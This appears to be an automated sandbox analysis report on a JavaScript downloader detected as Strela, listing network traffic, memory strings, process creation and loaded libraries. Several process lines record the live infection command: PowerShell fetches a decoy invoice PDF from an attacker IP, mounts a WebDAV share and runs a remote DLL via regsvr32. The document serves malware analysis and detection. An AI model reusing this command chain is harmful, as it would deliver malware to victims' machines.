TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2064644154.000002661FCE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2137267431.0000017028044000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2137267431.0000017028008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/%G
Source: net.exe, 00000007.00000002.2137267431.0000017028044000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/I
Source: net.exe, 00000007.00000002.2137267431.0000017028044000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Q
Source: net.exe, 00000007.00000002.2137267431.0000017028044000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/i
Source: svchost.exe, 00000009.00000002.3350559370.000001E7BE000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2143532205.000001E7BDF00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7116, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 193581927228935729.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4088:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_efu4y3d2.42k.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\193581927228935729.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1540,i,8864891297406936560,2339412048056510617,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1540,i,8864891297406936560,2339412048056510617,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
